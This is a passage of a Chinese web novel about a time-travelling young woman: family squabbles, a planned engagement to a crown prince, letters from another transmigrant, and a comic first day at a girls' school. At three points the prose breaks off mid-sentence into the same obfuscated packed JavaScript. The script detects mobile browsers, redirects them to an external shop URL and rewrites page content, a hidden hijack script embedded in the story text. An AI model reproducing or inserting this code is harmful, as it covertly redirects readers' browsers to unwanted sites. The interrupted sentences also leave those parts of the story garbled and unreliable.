另一边,庄梦蝶牵住庄非鱼,来到最里头一个房间。 庄非鱼另一只手还拿着卷饼,边走边咬。 “豹豹就在里面。” 庄梦蝶松开庄非鱼的手,熟练地打开房门。 三只猫一样大的小豹子窝在篮子里,舔爪的舔爪,打架的打架,可爱极了。 “我去,真的有豹子!” 庄非鱼一口吞掉卷饼,抱起一只活泼豹子的前爪,逗它玩它。 “你从哪儿弄来的?”她问庄梦蝶。 庄梦蝶一歪头,说: “哥哥给我的。” “咱哥还有这本事?” “不是庄无涯,是另一个哥哥!” 庄梦蝶大声强调。 “另一个哥哥……”庄非鱼若有所思问: “另一个哥哥叫什么名字?” “就叫哥哥。”庄梦蝶挥开扑向她的小豹子。 “他长什么样子?”庄非鱼问。 “大大的眼睛,小小的嘴巴,大大的鼻子,小小的耳朵,长长的胡子,没有胡子,长长的衣服,短短的衣服……” 庄梦蝶如数家珍。 庄非鱼脑海中浮现一个诡计多端的外星人长相。 她摇了摇头,驱散惊悚的画面,对庄梦蝶道: “话都说不清楚,我总算知道你为什么要抄人家作业了。” “我说的都是真的!”庄梦蝶跳起来,去拍姐姐的脑袋。 庄非鱼抱住圆眼睛的小豹子站起来,嘚瑟道: “打不到,你打不到~” 庄梦蝶涨红了脸,两只手扑棱去打庄非鱼的腰,庄非鱼抱住豹子跑出去,一路跑回正房。 此时饭菜已经撤下,几人其乐融融喝着茶,天南地北闲聊着。 庄非鱼瞅准时机,将小豹子放到北山鄢腿上。 北山鄢先是一愣,然后微笑抚摸小豹子的脑袋,道: “果然有只豹子。” 抬眼见庄梦蝶气冲冲冲过来,他顺手一捞,拦住小姑娘,免得她撞上椅子。 庄梦蝶龇牙咧嘴对准庄非鱼,大声喊: “你坏,你坏!” 说着红起眼眶,举起一只手,手腕上的鲨鱼手镯发出异样的蓝光。 那蓝光活物一般飞出手腕,在空中幻化成巨大的蓝色鲨鱼,朝庄非鱼撕咬过来。 众人反应不及,眼看鲨鱼就要吞了庄非鱼…… 她稳稳站在原地,在脑海中叫了一声: “系统,启动防护。” “好的,扣除您39星币。” 系统迅速启动防护罩。 鲨鱼用力咬上一口,没有咬伤她,反而崩了满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388978|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴牙齿,畏畏缩缩躲回庄梦蝶的手镯里。 庄非鱼紧跟在鲨鱼后面,径直走过去,蹲下身,面无表情看着庄梦蝶。 庄梦蝶后退一步,卖萌一笑: “嘿嘿,我开玩笑哒。” 庄非鱼转头问庄父庄母: “我收拾她,大家没意见吧。” 众人这才回过神来,连声道: “没意见,当然没意见。” “姐姐天生就该教训妹妹。” “总算有个能治住这小霸王的人了。” 庄非鱼回过头,对庄梦蝶和善一笑,没一会儿,正房中响起小孩响亮的哭声。 小孩惯会看人眼色,也惯是欺软怕硬,一顿打挨完,就唯姐姐马首是瞻了。 门外一轮眉月高悬,北山鄢抬头望了一眼道: “庄编修,夫人,天色已深,我先告辞了。” 随后对小鱼道: “明日再来接你。” 庄非鱼一听,想起自己藏在除魔司那封信。 如果明天从家里出发,肯定赶不上送信;如果从东宫出发,大清早过去送完信,还能吃上一碗热豆花。 她连忙道: “我和你一起回去。” “你留在家里!”庄父喝道。 “我不!”庄非鱼朝他做了鬼脸,拉住北山鄢快快跑走。 眼看庄父挽起袖子,准备收拾她,她连忙跳上马车,催促仆臣赶快跑路。 骏马一声长嘶,溅起满地尘土,撩开窗帘,她朝庄父挥手告别。 北山鄢无奈扶额,笑着看她恶作剧。 车辆驶出小巷,大街上一片寂静,庄非鱼这才缩回手臂,开心地哼歌。 一曲哼毕,北山鄢坦然开口: “过几日,我来你家提亲。” “什么?”庄非鱼吓了一大跳。 “今夜父亲谈起你的婚事,我答应他不久后会来提亲。”北山鄢缓缓道。 “我爹瞎说的,你就当什么也没听见。”庄非鱼笑着捶了下他的肩膀。 “你不喜欢我吗?”北山鄢问。 “你爱我吗?”庄非鱼反问。 车内一时寂静无声。 直到穿过宽阔的主街,月光透过窗帘,忽明忽暗洒在两人脸上,北山鄢才平静道: “‘爱’这个字太沉重,有一分喜欢,足以度过余生。” 庄非鱼噗嗤一笑道: “为什么非要成亲呢?我们现在这样不挺好的吗?” 北山鄢道: “父母不会同意。” 说起庄父庄母,庄非鱼开始发愁了。 她烦躁地抱住脑袋,闷声道: “我爹现在怎么变成这样了?他以前从来不骂我也不训我,更不会勉强我做自己不喜欢的事。” 北山鄢伸手,轻轻替她梳理发丝,柔声道: “那时你还小,可以随心所欲,现在不能这样了。” “不能怎样?”庄非鱼仰头看他。 “不能无媒无聘住在男人家里。” “住了又怎样?” “常住却没有名分,旁人会笑话你,还有你的家人。” “我从来不管别人说什么的。”庄非鱼无所谓他人的眼光。 “你不管,可父母在意。” 北山鄢耐心对她解释: “生活在哪里,就要遵守哪里的潜规则。不守规则固然自由,可也要承受他人的白眼和压力。庄编修和夫人太爱你了,他们不忍心看你受到任何侮辱嘲笑,只能用自己的办法,帮你走入世俗眼光的平稳道路。” 庄非鱼若有所思,心里对父母的意见慢慢散去。 她咬着嘴唇,想了一会儿,问: “那也不用提亲吧?” 62. 木兰来信 “提亲是一定要的。”北山鄢道,“提亲只是一个名分,让你安心住在东宫的名分,离真正成亲还有很长一段路呢。我们先定亲,往后你若不想待了,退亲便是。” 庄非鱼想了一下,觉得有一定道理,至少能堵住父母的嘴。 她点了点头: “好,我们先定亲。” 她心中对北山鄢有好感,将定亲看做是谈恋爱,心中豁然开朗。 定就定呗,不行就分。 她一个玩家,难道连这点儿游戏都不敢玩? 庄非鱼这样想着,偷瞄北山鄢的侧脸。 回盛京复位后,他换上太子常服,显得更有威仪了,看得人心里猫抓一样痒痒。 庄非鱼想偷亲他一下,可道德和理智压住心里的小恶魔,她只能用眼睛瞟啊瞟,心想等定亲后,应该就能亲了吧。 不行到时候喝点小酒,酒壮怂人胆…… 北山鄢注意到她的眼神,笑问: “看我做什么?” 庄非鱼小声道:“我想喝酒。” “馋虫!”北山鄢勾起手指,刮了一下她的脸颊,对驾车仆臣道: “转驾悬清楼。” 不一会儿,两人坐到悬清楼包厢中。 北山鄢要了一桌小菜,亲自给她倒上一杯酒,含笑道: “今夜,我陪你不醉不归。” * 宿醉之后,庄非鱼醒来,天色已然大亮。 她打了个大大的哈欠,一转头,看见几个婢女悄无声息候在一旁。 她一惊,问道: “你们怎么在房里?” 她刚来东宫就告诉木樨院几个婢女,平时爱划水划水,爱摸鱼摸鱼,不需要大家鞍前马后地伺候。 婢女也摸透她的脾气,平日无事不会出现在她面前。 听她发问后,那名叫乐寿的婢女上前一步,恭敬道: “殿下让我们守在这里看顾着您。他已经向除魔司告过假了,您今早安心歇息。” “真是个大好人。”庄非鱼扬起唇角。 没一会儿,她想起除魔司那封给赵木兰的信,翻身蹦起来,对乐寿道: “我得回除魔司一趟。” 乐寿向左右使了个眼色,几个呼吸的功夫,洗漱衣物都备好了。 “隔壁烧着热水,您要不要先去沐浴?”乐寿提议道。 庄非鱼闻了闻衣服上的酒味,扬起一个灿烂的笑容,对乐寿道: “好,谢谢你。” “婢子分内之事。”乐寿低头答话。 沐浴更衣后,庄非鱼元气满满跑到除魔司,取了那封信交给唐爷爷。 近日除魔司没什么任务,她每天除了走门访院和别人闲聊,就是窝在斥候部练剑练刀。 残刀缺剑的功法十分高深,李念儿见猎心喜,看见庄非鱼就会过上两招。 在李念儿的魔鬼训练下,她的功夫日渐增强,从一招不敌,到现在可以接上十招了。 这些日子,她一直在和穿越者通信。 穿越者来信道: 【可爱的小木匠: 忽得兰言,欣喜不已。 我是赵木兰,1997年飞机失事,坠亡海底。睁眼被抛入这个世界,至今已有四十余年。 和你相遇,是寂静深海中的一叶孤舟,与另一叶孤舟的会晤。 我知你对这个世界有很多困惑,一如我年轻时。 在开解你的心结前,我想先讲一讲我的故事。 文衡初年,我投生成熙国食山县卖米小商的女儿,得名木兰。 家中兄弟姐妹众多,一个女儿并不稀奇。如无意外,我会嫁给同阶级的小商之子,生三四个孩子,操持家务,度过余生。 社会划定的未来不是我想要的。 五岁那年夏季酷热,家里没有纳凉条件,我凭借记忆里的知识,利用硝石制冰,缓解家中暑气,还做了些冰棒冰棍放在店里售卖,赚取第一桶金。 后来,这个方子被送给一直庇佑我家的张举人。 冬季缺食少菜,我用喂养牲畜的豆子发了豆芽,做了些臭豆腐、腐乳、腐竹等售卖,赚取第二桶金。 后来,这些方子被当地大商户收走。 随着本领显露,我在家中的地位日益稳固。 米少商多,家中的米店遭人挤兑,开不下去了。我花钱收集信息,得知南方遭灾,米价暴涨,于是涨价收米、借款收米,运到南方,果然大赚。 本钱多了,生意便越做越大,也越发遭人眼红。 无奈之下,家里投靠了米行巨商,巨商貌美,我成了他的妾室。 偶然一个机会,我离开巨商,搭上工部侍郎,做了侍郎家大小姐的丫鬟。 后来小姐进宫当了皇后,留我在外面经商。 有了天大的靠山后,我百无顾忌,开始成立木兰商行,整顿南北商业,纳天下商户于麾下。 自此,大权在握,再无疑虑。 故事就讲到这里了。 我想告诉你,年轻时我和你一样,对这个世界充满失望。人到中年,反而愈加坚定。 因为我知道:我们是被冥冥意志选中的人,生来就背负着巨大的使命,改变世界的使命。 正如尼采所说:“一个人知道自己为什么而活,就可以忍受任何一种生活。” 如果你觉得这个时代黑暗、污浊,让你痛苦至极,与其沉沦其中,或者避世旁观,不如和我一起改变她。 为了自由、平等、公正的彼岸。 木兰敬上。】 庄非鱼一口气读完,几乎要尖叫起来。 她知道赵木兰的厉害之处,却不知道她有这样的过往。 从一介米商之女,到天下商行之首,没有好家世,没有金手指,这是多么可敬又可怕的穿越者。 更可贵的是——她没有被封建势力同化,而是希冀改变时代。 庄非鱼激动不已,她看了又看,最后将信郑重放在一旁,开始提笔回信。 她写: 【你好,木兰姐姐。 我叫庄非鱼,你可以叫我小鱼。 刚进入这个世界时,我就听说过你的威名。“凡有熙国人处,即有木兰商行”,这句话响彻五湖四海。 和你比起来,我简直就是个大废柴、大咸鱼(哭)。刚穿到这个世界一穷二白,恨不得去要饭。后来找了份临时工作,结识了几个朋友,才算活下来。 最大成就……最近工作转正,找到家人算不算? 你的信让我热血沸腾,可我只是个刚毕业的大学生,学的计算机,实在不知道怎么改变世界。 如果你有需要,来信告诉我,能帮的我一定帮。 我现在在盛京住着,不如我们改天见一面?我迫不及待想和你说话,看看你的样子。 PS:你真有意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388979|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用大学的名字当蜜饯铺的名字,我一眼看见就知道你是穿越者老乡,赶忙联系了。 小鱼敬上】 庄非鱼一边唾弃自己的渣文笔,一边送出信。 回到家里,庄父端着茶咳嗽一声,道: “我和你们周司丞打过招呼了,以后你换成晚班,早上给我去上学。” 啊? 庄非鱼愣住了。 “去……去哪上学?” “去盛京最有名的女学堂。” 庄母笑蔼蔼搂住她,对她甜蜜讲道: “还是你们这代姑娘好,能上学当官,娘那个时候哪有这样好的条件?” 庄无涯点头道: “除魔司毕竟危险,哥瞅着害怕,你不如像其他贵女一样参加女试,换个清闲的府衙,比如爹的翰林院,哥的太常寺,都是好去处。” 庄非鱼皱起眉头,义正言辞道: “工作怎么能挑三拣四图清闲,能为人……”话没说完,就被庄无涯狠狠敲了一下。 庄无涯面无表情道: “别装了,咱们庄家人祖上就没拼搏的血脉。” 庄非鱼嘟囔两句,不再理他。 庄父放下茶杯,道: “即便不离除魔司,也得去上学。爹花了天大的功夫,请了七八个同年吃饭,才将你塞进最好的学堂。” 听到这里,庄非鱼无奈摊手: “好吧,我去。” 毕竟父母一片心意,她还是顺着点吧。 庄父原本做好长篇大论说服她的准备,没想到她这么干脆答应了。 他和庄母面面相觑,庄母笑道: “好好好,进了学堂,往后说亲也能加上一层砝码。” 起承转合又说起亲事,庄非鱼头疼地跑掉,去找庄梦蝶玩。 第二天一大早,庄母给她挎上小书袋,拎起庄梦蝶,送两人到马车上。 庄梦蝶见姐姐也背上书袋,高兴地蹦起来: “好耶!姐姐和我一起上学!” 她抱住庄非鱼的腰,仰头甜蜜道: “我听姐姐的话,不抄作业不打架。” 庄父和庄无涯对视一眼,欣慰一笑: “还是小鱼能治住这个小泼猴。” 庄非鱼无精打采跑去上学,进了学堂大门,她震惊地看见几个熟人: 李念儿、郗名微、郦之清和郦之宁。 她大步跑到李念儿面前,问她: “你们怎么背着我偷偷上学?” “乱讲!”李念儿打她手背一下,“是你自己说‘什么女试考试,我这辈子再也不会上一天学’的。” 好像是有这么一回事…… 庄非鱼呆在原地心虚想着。 李念儿和郦家姐妹都问她要不要来读书,她捂住耳朵坚决不去,没想到被啪啪打脸。 学堂最前面站着郗名微,听见庄非鱼的声音,她转头微笑道: “庄姐姐,我们又见面了。” “是啊,好巧。” 庄非鱼干笑着和她搭话。 郦之清和郦之宁坐在最角落的圆凳上,她俩一个在写字,一个在画画。见到庄非鱼后,也都跑了过来。 郦之宁开心道: “太好了小鱼姐姐,有你在,我应该不会再垫底了吧。” 庄非鱼眼睛一瞪,心想郦之宁你个缺心眼,就算是真的也不可以这么讲! 63. 介绍相亲 女学堂由郗皇后出资建立,分为甲乙丙丁戊己庚辛壬葵十个班级,是专供盛京官员女儿学习的地方。 庄父供职翰林院,是个微不足道的七品史官,他的女儿,按理该被分在最末的壬班或者葵班。 可学堂校长消息灵通,知道庄非鱼住在东宫,为免得罪太子,便自作主张将庄非鱼分到甲班。 快到上课时间时,校长过来告诉庄非鱼: “一会儿你跟着郗名微去甲班。” 庄非鱼还未开口,身边的郦之宁先震惊地大喊一句: “啊?!为什么?” 校长眉头一皱,威严地看着郦之宁,问道: “你是哪个班的?” 郦之宁低头嗫嚅,不敢说话。 庄非鱼跟着道: “老师,我的能力不足以进甲班,就让我去最末流的葵班吧。” 有多大胃口吃多少饭,比起清北甲班和985乙班,她觉得葵班听起来比较好听,也符合她的气质。 校长转头,温和道: “学堂将你分到甲班,自然有学堂的道理。勿要害怕,安心去读书吧。” 庄非鱼立在那里进退不安,郗名微却过来牵住她,笑盈盈道: “甲班还在学堂里头呢,庄姐姐随我走吧。” 庄非鱼握住她的手,转头问: “念儿,阿清,你们在哪个班?” “我在丁班。” “我在辛班。” 两人分别回答。 庄非鱼一边心想“那我怎么会被分到甲班”,一边稀里糊涂跟郗名微走了。 女学堂课程设置十分超前,每个班级除了有各自的小课,还有几个班级合上的大课。 她先是听了《尚书》,什么“三宅”“三俊”,听得她坐立不安直挠头,中间夫子叫她起来回答问题,她站起来尴尬一笑,道: “学生愚钝。” 夫子只能挥手叫她坐下。 第二节教策论,庄非鱼听着有点像议论文。夫子有心试试新来同学的水准,叫她起来,问: “可曾读过《诗》?” “读……过吧。”庄非鱼犹豫道。 小时候背过李白杜甫王维孟浩然呢。 “维民所止,何解?” 止……止什么?老师没教啊! “学生愚钝。”她面露窘态。 此言一出,甲班稀稀落落响起笑声。 “笑什么?”夫子一敲戒尺,怒喝道,“程不渝,你站起来回答。” 她挥挥手,示意庄非鱼坐下。 上了一天课,庄非鱼无奈承认: 郦之宁说的是对的。 什么之乎者也文言文,她一句也听不懂。 她有心想离开,第三节课的老师却已经走了进来。 这节是算学课,夫子照例点起庄非鱼。 夫子之间有交流,她知道前两节课的情况,便出了一道极简单的,计算田地面积的题。 没想到她刚念完题,庄非鱼就说出答案。 整个甲班都愣住了。 在她被夫子点起来时,甲班贵女已经挂上看乐子的表情,相互交换眼神,做出“学生愚钝”的口型,打算随她一道念出。 没想到庄非鱼竟然答出来。 这么快速,都没有计算一下! 夫子有些意外,又出了一道追及问题。 庄非鱼寻思这不是小学奥数题吗?她不到半分钟就回答出来了。 夫子更是诧异,她问: “你是如何想出来的?” “还用想?答案不都明摆着吗?”庄非鱼比她还诧异。 做了四分之一炷香才做出来的郗名微:…… 还没做出来题的普通贵女:!!! 题目都听不懂的学渣贵女:??? 夫子见猎心喜,她沉思一下,问出一道几何题。 庄非鱼被难住了。 但难住她的不是数学,而是文言文。 她小心翼翼对夫子道: “您能不能用咱们平常说话的语言给我翻译一遍?” 夫子沉默,用日常口语向她重复一遍。 庄非鱼边听边在纸上画图,设了几个ABCD几条线段,三分钟答出这道题来。 所有贵女都转头,目瞪口呆望着她,夫子艰难地扶住讲台,对她道: “这是上届女试最难的一道题。” “哦,”庄非鱼撂下笔,点头评价道,“看来女试数学也不难嘛。” 最难也就初中水平。 在场贵女都用见鬼的眼神看着她。 郗名微全神贯注看着题,这道题她不会解,但已经背过答案。 她回头,真心实意感叹道: “庄姐姐果然有才,怪不得能进甲班。” 她身旁的贵女酸溜溜说道: “只会个算学有什么用?四书五经方是正途。” 郗名微拍了她一下,嗔怪道: “三百六十行,行行出状元,莫要小看算学。” 夫子听了两人对话,叹息一声,对庄非鱼道: “下课随我过来。” 庄非鱼点头答应后,她才开始今天的课程。 早午的课慢慢上完,下课后,庄非鱼环视一圈,没看见北山鄢,只瞅见一个车夫在不远处等候。 车夫远远见她,小跑过来对她道: “殿下中午不回东宫,姑娘是去悬清楼、东宫,还是回庄府?” 庄非鱼摆摆手道: “都不去,我和朋友在附近随便吃点,你忙你的吧。” 车夫低头称喏,慢慢退下。 庄非鱼又等了一会儿,等到李念儿和郦家姐妹出来,四人笑笑闹闹找了个小饭馆,进去吃饭。 四人各自选了一碗汤饼,点了三四个小菜,要了壶冰饮,坐在大堂等饭菜上来。 庄非鱼边用茶水冲洗碗筷,边问郦之清: “你们什么时候来女学的?” 郦之清跟着擦洗碗筷,回答她: “就在前几天。王巍之一案见报后,有人故意扩大事端,攀咬赵丞相,我在报纸上替他回护,被丞相接见,他介绍我和阿宁来女学的。” 庄非鱼点了点头,好奇问: “王巍之现在是什么情况?” 郦之清摇头道: “我也不知。” 李念儿却答: “我知道。” 她优雅擦拭筷子,缓缓道: “大理寺、刑部、朝廷在沧州的巡按,和皇后娘娘手下的乌衣使都派了人去,估计已经到谷留县了。” “希望能查个水落石出。”郦之清低沉道: “这些日子我一直在想,我是不是做错了。” “为什么这样想?”庄非鱼不解。 “手里没有证据,就利用报纸掀起舆论,是不是有违律法公正?”郦之清迷茫发问。 “报纸又没有判刑,只是将此事放在太阳下而已。”庄非鱼望着她,斩钉截铁道: “如果没有报纸,那十条人命就这样悄无声息没了,有了报纸,他们才有沉冤得雪的可能。” “可我……竟害怕报纸。”郦之清木僵着说。 “为什么害怕?” “众口铄金,积毁销骨,若有心人学我这样,利用报纸干涉律法,岂不是贻害无穷?” 听到这里,李念儿言简意赅道: “真理越辩越明。” 她用筷子点着瓷盘,慢慢道: “我们该担心的,不是律法受到干涉,而是舆论未被纳入律法之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409069|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。” “舆论未被纳入律法之下……”郦之清喃喃重复,豁然开朗: “是啊!我们至今竟没有一门管控报纸的律法,才让王巍之案群魔乱舞,一会儿成了党争攻讦的手段,一会儿成了贫富学子相互仇恨的筏子。我该再写一篇文章,一陈此事利害!” “不急。”李念儿抬手压下她,道: “你以为朝廷没想过这件事吗?” “那,那为何还不立法?”郦之清困惑。 说话间,小二端着木盘子,满头大汗跑过来: “客官,您几位的汤饼来了~”他笑容灿烂地放下热碗。 待小二走后,李念儿分完各自的汤面,才道: “正如你所说的——党争。” 她劝郦之清: “立法一事,干系重大,利用舆论,慎之慎之。” 郦之清低头,挑起一筷子细面,默默吃着。 吃了两口,她坚定道: “明哲保身不是我想要的,既已辨出对错,就要为对的事情发声。” 庄非鱼和李念儿对视一眼,笑道: “你刚还说不该利用报纸呢,现在就要继续发文章了。” “我错了,”郦之清羞赧道,“报纸可杀人亦可救人,端看怎么用了。” 郦之宁不关心她们讲话内容,全程左顾右盼,翻着白眼吃完。 用过餐后,庄非鱼和李念儿回除魔司上晚班,郦之清和郦之宁回家撰写文章、复习功课。 今日,赵木兰又来信了。 她写信道: 【小鱼朋友,展信安。 真是不巧,我近日不在盛京,无法与你相见。待出差回来,再邀你来木兰商行一叙。 正如你所料,那条蜜饯街在起名时,存了寻找同乡人的心思。我想在这茫茫世界,若是只有我一个异乡来客,未免太过寂寞。幸而天随人愿,让你我相遇。 你学的计算机专业,想必理科一定很好吧?我本硕皆是心理学专业,穿越前,正在德国攻读哲学博士学位,于数理一道实在薄弱。 书到用时方恨少,近两年木兰商行走到瓶颈,最大的问题就是理工方面基础不牢,缺人缺物不说,最根本的,是缺合适的学科教材。 若你还记得上学时学过的数理化物基础知识,能否默写一份寄给我?我愿出高价收购。 (附上木兰纺织厂最新改进的纺织机模型,以及军械锻造厂锻打的宝剑一柄)】 看到这里,庄非鱼视线停下,打开身旁精美的礼品盒。 一个四方的盒子,里面装着巴掌大小、酷似珍妮纺纱机的小模型。 庄非鱼轻轻按了按,发现它还会活动。 她嘴角漾出笑意,又把玩两下,放回盒子里。 打开另一个长方形盒子,掀开绣凤锦缎,映入眼帘的是一柄饕餮纹的黑色宝剑。 庄非鱼小心翼翼地捡起这把剑,左手一推剑格,右手顺势拔出。 剑刃的寒光仿若实质,刺到她的眼睛里,庄非鱼眯了眯眼,听身旁唐爷爷惊叫起来: “乖乖,这真是一把好剑!” 宝剑归鞘,庄非鱼奇道: “唐爷爷也懂兵器?” 唐爷爷笑呵呵道: “略懂,略懂。” 庄非鱼见他目不转睛的样子,干脆将宝剑递给他: “喏,你玩吧。” 待他接过,便继续拾起信,顺着方才停下的地方,继续看起来。 赵木兰道: 【这个世界工业不兴,只能勉强锻造到这个程度,让你见笑了。 另:看你年纪不大,不知许亲了没有?没有的话,我有一个儿子正当年华,未娶妻不纳妾,尊重女性,我想介绍给你认识,不知你意下如何? 木兰敬上】